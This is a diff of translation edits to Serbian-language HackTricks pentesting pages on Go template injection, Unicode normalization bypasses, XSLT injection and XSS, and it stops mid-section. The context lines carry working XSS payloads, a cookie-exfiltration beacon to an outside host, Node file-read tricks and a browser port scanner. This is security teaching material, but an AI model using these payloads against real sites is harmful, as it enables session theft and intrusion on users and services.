Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -961,7 +958,7 @@ vbnet Copy code
|
||||
|
||||
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se eksploatisati kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
|
||||
Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
@ -997,7 +994,9 @@ Ako mislite da bi moglo biti korisno, pročitajte:
|
||||
|
||||
## Lista za Detekciju Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
## Vežba & Reference
|
||||
|
||||
|
@ -2,26 +2,26 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ovo je sažetak:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Pogledajte za više detalja (slike su preuzete odatle).
|
||||
**Ovo je sažetak:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Pogledajte za više detalja (slike preuzete odatle).
|
||||
|
||||
## Razumevanje Unikoda i Normalizacije
|
||||
|
||||
Normalizacija Unikoda je proces koji osigurava da su različite binarne reprezentacije karaktera standardizovane na istu binarnu vrednost. Ovaj proces je ključan u radu sa stringovima u programiranju i obradi podataka. Unikod standard definiše dva tipa ekvivalencije karaktera:
|
||||
|
||||
1. **Kanonska Ekvivalencija**: Karakteri se smatraju kanonski ekvivalentnim ako imaju isti izgled i značenje kada se odštampaju ili prikažu.
|
||||
1. **Kanonicka Ekvivalencija**: Karakteri se smatraju kanonički ekvivalentnim ako imaju isti izgled i značenje kada se štampaju ili prikazuju.
|
||||
2. **Ekvivalencija Kompatibilnosti**: Slabija forma ekvivalencije gde karakteri mogu predstavljati isti apstraktni karakter, ali se mogu prikazivati drugačije.
|
||||
|
||||
Postoje **četiri algoritma normalizacije Unikoda**: NFC, NFD, NFKC i NFKD. Svaki algoritam koristi kanonske i tehnike normalizacije kompatibilnosti na različite načine. Za dublje razumevanje, možete istražiti ove tehnike na [Unicode.org](https://unicode.org/).
|
||||
Postoje **četiri algoritma normalizacije Unikoda**: NFC, NFD, NFKC i NFKD. Svaki algoritam koristi kanoničke i tehnike normalizacije kompatibilnosti na različite načine. Za dublje razumevanje, možete istražiti ove tehnike na [Unicode.org](https://unicode.org/).
|
||||
|
||||
### Ključne Tačke o Kodiranju Unikoda
|
||||
|
||||
Razumevanje kodiranja Unikoda je ključno, posebno kada se radi o problemima interoperabilnosti među različitim sistemima ili jezicima. Evo glavnih tačaka:
|
||||
|
||||
- **Kodni Poeni i Karakteri**: U Unikodu, svaki karakter ili simbol je dodeljen numeričkoj vrednosti poznatoj kao "kodni poen".
|
||||
- **Kodni Poeni i Karakteri**: U Unikodu, svaki karakter ili simbol je dodeljen numeričku vrednost poznatu kao "kodni poen".
|
||||
- **Reprezentacija Bajtova**: Kodni poen (ili karakter) se predstavlja jednim ili više bajtova u memoriji. Na primer, LATIN-1 karakteri (uobičajeni u zemljama gde se govori engleski) predstavljaju se koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za reprezentaciju.
|
||||
- **Kodiranje**: Ovaj termin se odnosi na to kako se karakteri transformišu u niz bajtova. UTF-8 je prevalentni standard kodiranja gde se ASCII karakteri predstavljaju koristeći jedan bajt, a do četiri bajta za druge karaktere.
|
||||
- **Obrada Podataka**: Sistemi koji obrađuju podatke moraju biti svesni kodiranja koje se koristi da bi ispravno konvertovali bajt tok u karaktere.
|
||||
- **Varijante UTF**: Pored UTF-8, postoje i drugi standardi kodiranja kao što su UTF-16 (koristeći minimum od 2 bajta, do 4) i UTF-32 (koristeći 4 bajta za sve karaktere).
|
||||
- **Varijante UTF**: Pored UTF-8, postoje i drugi standardi kodiranja kao što su UTF-16 (koristeći minimum 2 bajta, do 4) i UTF-32 (koristeći 4 bajta za sve karaktere).
|
||||
|
||||
Ključno je razumeti ove koncepte kako bi se efikasno upravljalo i ublažilo potencijalne probleme koji proizlaze iz složenosti Unikoda i njegovih različitih metoda kodiranja.
|
||||
|
||||
@ -75,7 +75,9 @@ Tada bi zlonameran korisnik mogao umetnuti drugi Unicode karakter ekvivalentan `
|
||||
```
|
||||
#### sqlmap шаблон
|
||||
|
||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
{{#endref}}
|
||||
|
||||
### XSS (Cross Site Scripting)
|
||||
|
||||
@ -91,7 +93,7 @@ Primetite da se, na primer, prvi predloženi Unicode karakter može poslati kao:
|
||||
|
||||
Kada backend **proverava korisnički unos pomoću regex-a**, može biti moguće da je **unos** **normalizovan** za **regex** ali **ne** za mesto gde se koristi. Na primer, u Open Redirect ili SSRF, regex može **normalizovati poslati URL** ali zatim **pristupiti njemu onakvom kakav jeste**.
|
||||
|
||||
Alat [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* omogućava **generisanje varijacija unosa** za fuzzing backend-a. Za više informacija pogledajte **github** i ovaj [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
Alat [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* omogućava **generisanje varijacija unosa** za fuzzing backend-a. Za više informacija pogledajte **github** i ovu [**objavu**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -310,7 +310,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
||||
<redirect:close file="loxal_file.txt"/>
|
||||
</xsl:template>
|
||||
```
|
||||
Drugi načini za pisanje fajlova u PDF-u
|
||||
Drugi načini za pisanje fajlova u PDF
|
||||
|
||||
## Uključite spoljašnji XSL
|
||||
```xml
|
||||
@ -367,8 +367,6 @@ version="1.0">
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
(Primer sa [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
|
||||
|
||||
## Više Payload-a
|
||||
|
||||
- Proverite [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
@ -376,7 +374,9 @@ version="1.0">
|
||||
|
||||
## **Lista za Detekciju Brute-Force-a**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
{{#endref}}
|
||||
|
||||
## **Reference**
|
||||
|
||||
|
@ -3,8 +3,8 @@
|
||||
## Metodologija
|
||||
|
||||
1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda.
|
||||
2. **Pronađite kontekst** u kojem se odražava/korišćen.
|
||||
3. Ako je **odražano**
|
||||
2. **Pronađite kontekst** u kojem se odražava/koristi.
|
||||
3. Ako je **odražena**
|
||||
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload:
|
||||
1. U **sirovom HTML-u**:
|
||||
1. Možete li kreirati nove HTML tagove?
|
||||
@ -20,12 +20,12 @@
|
||||
3. Unutar **JavaScript koda**:
|
||||
1. Možete li pobjeći iz `<script>` taga?
|
||||
2. Možete li pobjeći iz stringa i izvršiti različit JS kod?
|
||||
3. Da li su vaši ulazi u template literalu \`\`?
|
||||
3. Da li su vaši unosi u template literalu \`\`?
|
||||
4. Možete li zaobići zaštite?
|
||||
4. Javascript **funkcija** koja se **izvršava**
|
||||
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
|
||||
4. Ako je **korišćeno**:
|
||||
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš ulaz kontroliše i da li se vaš **kontrolisani ulaz koristi od strane bilo kog sinka.**
|
||||
4. Ako je **korisna**:
|
||||
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš unos kontroliše i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
|
||||
|
||||
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
||||
|
||||
@ -33,31 +33,31 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## Odradene vrednosti
|
||||
## Odražene vrednosti
|
||||
|
||||
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na veb stranici.
|
||||
|
||||
- **Intermedijarno odraženo**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na veb stranici, mogli biste iskoristiti **Reflected XSS**.
|
||||
- **Skladišteno i odraženo**: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti **Stored XSS**.
|
||||
- **Intermedijarno odražena**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na veb stranici, mogli biste iskoristiti **Reflected XSS**.
|
||||
- **Skladištena i odražena**: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti **Stored XSS**.
|
||||
- **Pristupano putem JS**: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti **DOM XSS**.
|
||||
|
||||
## Konteksti
|
||||
|
||||
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
|
||||
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
|
||||
|
||||
### Sirovi HTML
|
||||
### Sirov HTML
|
||||
|
||||
Ako se vaš ulaz **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
|
||||
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
|
||||
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Unutar atributa HTML tagova
|
||||
|
||||
Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati:
|
||||
Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati:
|
||||
|
||||
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
|
||||
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš ulaz odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da to iskoristite): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
4. Ako se vaš unos odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da to iskoristite): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
|
||||
```html
|
||||
@ -70,7 +70,7 @@ Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati
|
||||
U ovom slučaju, vaš unos se odražava između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol:
|
||||
|
||||
- Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `</script>` oznaka unutar HTML koda.
|
||||
- Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
|
||||
- Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **napustite** string, **izvršite** svoj kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
@ -116,7 +116,7 @@ Možete takođe pokušati da **pokrenete Javascript funkcije** direktno: `obj.sa
|
||||
|
||||
Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo zanimljivog DOM-a, **druge stranice u istom poreklu** će imati **zanimljiviji DOM** za izvođenje više akcija.
|
||||
|
||||
Stoga je, kako bi se **zloupotrebila ova ranjivost u različitom DOM-u**, razvijena **Same Origin Method Execution (SOME)** eksploatacija:
|
||||
Stoga, kako bi se **zloupotrebila ova ranjivost u različitom DOM-u**, razvijena je **Same Origin Method Execution (SOME)** eksploatacija:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -161,12 +161,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ali, ako se koristi crna/bela lista tagova/atributa, biće potrebno da **brute-force-ujete koji tagovi** možete kreirati.\
|
||||
Ali, ako se koristi crna/bela lista tagova/atributa, biće potrebno da **brute-force-ujete koje tagove** možete kreirati.\
|
||||
Kada pronađete **koji tagovi su dozvoljeni**, biće potrebno da **brute-force-ujete atribute/događaje** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
|
||||
|
||||
### Brute-force tagova/događaja
|
||||
|
||||
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre).
|
||||
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre).
|
||||
|
||||
### Prilagođeni tagovi
|
||||
|
||||
@ -272,7 +272,7 @@ Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javasc
|
||||
|
||||
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
|
||||
|
||||
**HTML kodirani karakteri** unutar vrednosti atributa HTML tagova se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
||||
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
||||
|
||||
Napomena da je **svaka vrsta HTML kodiranja validna**:
|
||||
```javascript
|
||||
@ -323,9 +323,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||||
```
|
||||
**Mesta gde možete injektovati ove protokole**
|
||||
**Mesta gde možete ubrizgati ove protokole**
|
||||
|
||||
**Uopšteno** `javascript:` protokol može biti **koristeći u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
|
||||
**Uopšteno**, `javascript:` protokol se može **koristiti u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -401,7 +401,7 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
|
||||
### XSS u "Neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
|
||||
|
||||
Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
|
||||
```html
|
||||
@ -472,11 +472,11 @@ U ovim slučajevima vaš **ulaz** će biti **reflektovan unutar JS koda** `.js`
|
||||
|
||||
### Izbegavanje \<script> taga
|
||||
|
||||
Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflektovani podaci' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
|
||||
Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflected data' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
|
||||
Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
|
||||
|
||||
### Unutar JS koda
|
||||
|
||||
@ -752,7 +752,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||
Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -764,9 +764,9 @@ Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://
|
||||
|
||||
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će aktivirati ranjivost.
|
||||
|
||||
### Odbijanje sesije
|
||||
### Održivost sesije
|
||||
|
||||
Ako pronađete neki self XSS i web stranica ima **odbijanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||
Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||
|
||||
Možete naterati **administratora da aktivira vaš self XSS** i ukrade njegove kolačiće/sesiju.
|
||||
|
||||
@ -791,7 +791,7 @@ Par "Ključ","Vrednost" će biti vraćen ovako:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Zatim će biti umetnut atribut onfocus i doći će do XSS-a.
|
||||
Zatim će biti umetnut atribut onfocus i dolazi do XSS-a.
|
||||
|
||||
### Posebne kombinacije
|
||||
```markup
|
||||
@ -827,18 +827,18 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||
|
||||
U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovoj**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
||||
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
||||
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
|
||||
|
||||
### Samo slova, brojevi i tačke
|
||||
|
||||
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
|
||||
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničen na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
|
||||
|
||||
### Validni `<script>` Content-Types za XSS
|
||||
|
||||
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će baciti sledeću grešku:
|
||||
|
||||
> Odbijeno izvršavanje skripte sa ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') jer njen MIME tip (‘application/octet-stream’) nije izvršiv, a strogo proveravanje MIME tipa je omogućeno.
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Jedini **Content-Type** koji će omogućiti Chrome-u da izvrši **učitanu skriptu** su oni unutar konstante **`kSupportedJavascriptTypes`** sa [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
@ -898,7 +898,7 @@ import { partition } from "lodash"
|
||||
```
|
||||
Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se preusmeri biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih prethodnim renderovanjem. Radi ovako:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih pre-renderovanjem. Radi ovako:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -927,7 +927,7 @@ Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca
|
||||
- application/rss+xml (isključeno)
|
||||
- application/atom+xml (isključeno)
|
||||
|
||||
U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
U drugim pregledačima mogu se koristiti drugi **`Content-Types`** za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce greškama** da pristupite **omotaču** modula i dobijete **`require`** funkciju:
|
||||
Na sličan način kao u prethodnom primeru, moguće je **koristiti upravljače greškama** da pristupite **omotaču** modula i dobijete **`require`** funkciju:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1267,7 +1267,7 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/#httponly) ako imate sreće.
|
||||
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/#httponly) ako ste dovoljno srećni.
|
||||
|
||||
### Ukradi sadržaj stranice
|
||||
```javascript
|
||||
@ -1358,7 +1358,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Duži vremenski intervali ukazuju na to da nema odgovora._
|
||||
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Dugotrajniji vremenski intervali ukazuju na to da nema odgovora._
|
||||
|
||||
Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
@ -1425,7 +1425,9 @@ shadow-dom.md
|
||||
|
||||
### Poliglot
|
